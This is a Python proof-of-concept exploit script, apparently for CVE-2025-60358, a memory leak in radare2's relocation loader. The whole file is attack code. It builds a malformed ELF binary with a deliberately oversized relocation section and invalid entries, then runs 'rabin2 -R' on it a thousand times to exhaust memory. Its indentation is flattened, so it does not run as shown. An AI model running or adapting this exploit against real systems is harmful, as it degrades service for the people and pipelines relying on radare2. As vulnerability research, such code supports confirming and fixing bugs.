#!/usr/bin/env python3
# CVE-2025-60358 PoC - radare2 _load_relocations Memory Leak
# This PoC creates a malformed ELF binary with crafted relocation sections
# to trigger memory leak in radare2's _load_relocations function
import struct
import subprocess
import os
import sys
def create_malformed_elf(filename):
"""Create a malformed ELF binary with corrupted relocation sections"""
# ELF Header (64-bit, little-endian)
elf_header = bytearray()
elf_header += b'\x7fELF' # e_ident[EI_MAG] - ELF magic
elf_header += b'\x02' # e_ident[EI_CLASS] - 64-bit
elf_header += b'\x01' # e_ident[EI_DATA] - Little endian
elf_header += b'\x01' # e_ident[EI_VERSION] - Current version
elf_header += b'\x00' # e_ident[EI_OSABI] - System V
elf_header += b'\x00' * 8 # e_ident[EI_ABIVERSION] + padding
elf_header += struct.pack('<H', 2) # e_type - ET_EXEC
elf_header += struct.pack('<H', 62) # e_machine - EM_X86_64
elf_header += struct.pack('<I', 1) # e_version
elf_header += struct.pack('<Q', 0x400000) # e_entry
elf_header += struct.pack('<Q', 64) # e_phoff - program header offset
elf_header += struct.pack('<Q', 200) # e_shoff - section header offset (malformed)
elf_header += struct.pack('<I', 0) # e_flags
elf_header += struct.pack('<H', 64) # e_ehsize
elf_header += struct.pack('<H', 56) # e_phentsize
elf_header += struct.pack('<H', 1) # e_phnum
elf_header += struct.pack('<H', 64) # e_shentsize
elf_header += struct.pack('<H', 5) # e_shnum - 5 section headers
elf_header += struct.pack('<H', 4) # e_shstrndx
# Program Header
phdr = bytearray()
phdr += struct.pack('<I', 1) # p_type - PT_LOAD
phdr += struct.pack('<I', 5) # p_flags - PF_R|PF_X
phdr += struct.pack('<Q', 0) # p_offset
phdr += struct.pack('<Q', 0x400000) # p_vaddr
phdr += struct.pack('<Q', 0x400000) # p_paddr
phdr += struct.pack('<Q', 500) # p_filesz
phdr += struct.pack('<Q', 500) # p_memsz
phdr += struct.pack('<Q', 0x1000) # p_align
# Section Headers - Include malformed .rela.dyn section
# Null section header
sh_null = bytearray(64)
# .text section
sh_text = bytearray()
sh_text += struct.pack('<I', 0) # sh_name
sh_text += struct.pack('<I', 1) # sh_type - SHT_PROGBITS
sh_text += struct.pack('<Q', 6) # sh_flags - SHF_ALLOC|SHF_EXECINSTR
sh_text += struct.pack('<Q', 0) # sh_addr
sh_text += struct.pack('<Q', 0) # sh_offset
sh_text += struct.pack('<Q', 100) # sh_size
sh_text += struct.pack('<I', 0) # sh_link
sh_text += struct.pack('<I', 0) # sh_info
sh_text += struct.pack('<Q', 16) # sh_addralign
sh_text += struct.pack('<Q', 0) # sh_entsize
# .rela.dyn section (malformed relocation section)
sh_rela = bytearray()
sh_rela += struct.pack('<I', 0) # sh_name
sh_rela += struct.pack('<I', 4) # sh_type - SHT_RELA
sh_rela += struct.pack('<Q', 2) # sh_flags - SHF_ALLOC
sh_rela += struct.pack('<Q', 200) # sh_addr
sh_rela += struct.pack('<Q', 200) # sh_offset - pointing to malformed data
sh_rela += struct.pack('<Q', 0xFFFF) # sh_size - intentionally large to cause leak
sh_rela += struct.pack('<I', 0) # sh_link
sh_rela += struct.pack('<I', 0) # sh_info
sh_rela += struct.pack('<Q', 24) # sh_addralign
sh_rela += struct.pack('<Q', 24) # sh_entsize
# .shstrtab section
sh_shstrtab = bytearray(64)
# .dynsym section
sh_dynsym = bytearray(64)
# Write malformed relocation data
reloc_data = bytearray()
# Create invalid relocation entries to trigger error path in _load_relocations
for i in range(100):
reloc_data += struct.pack('<Q', 0xDEADBEEF) # r_offset - invalid
reloc_data += struct.pack('<Q', 0xFFFFFFFF) # r_info - invalid type
reloc_data += struct.pack('<q', -1) # r_addend - invalid
with open(filename, 'wb') as f:
f.write(elf_header)
f.write(phdr)
f.write(b'\x00' * (200 - len(elf_header) - len(phdr))) # padding
f.write(reloc_data)
f.write(sh_null)
f.write(sh_text)
f.write(sh_rela)
f.write(sh_shstrtab)
f.write(sh_dynsym)
def trigger_memory_leak(target_file, iterations=1000):
"""Repeatedly load the malformed file to trigger memory leak"""
print(f"[*] Triggering memory leak with {iterations} iterations...")
for i in range(iterations):
try:
# Use rabin2 to load and analyze the binary
subprocess.run(
['rabin2', '-R', target_file],
capture_output=True,
timeout=5
)
if i % 100 == 0:
print(f"[*] Iteration {i}/{iterations}")
except subprocess.TimeoutExpired:
pass
except FileNotFoundError:
print("[!] radare2/rabin2 not found. Please install radare2.")
sys.exit(1)
if __name__ == '__main__':
target = 'malformed_reloc.bin'
print("[*] Creating malformed ELF binary...")
create_malformed_elf(target)
print(f"[*] Malformed binary saved as {target}")
print("[*] Starting memory leak exploitation...")
trigger_memory_leak(target)
print("[*] Done. Check system memory usage.")
os.remove(target)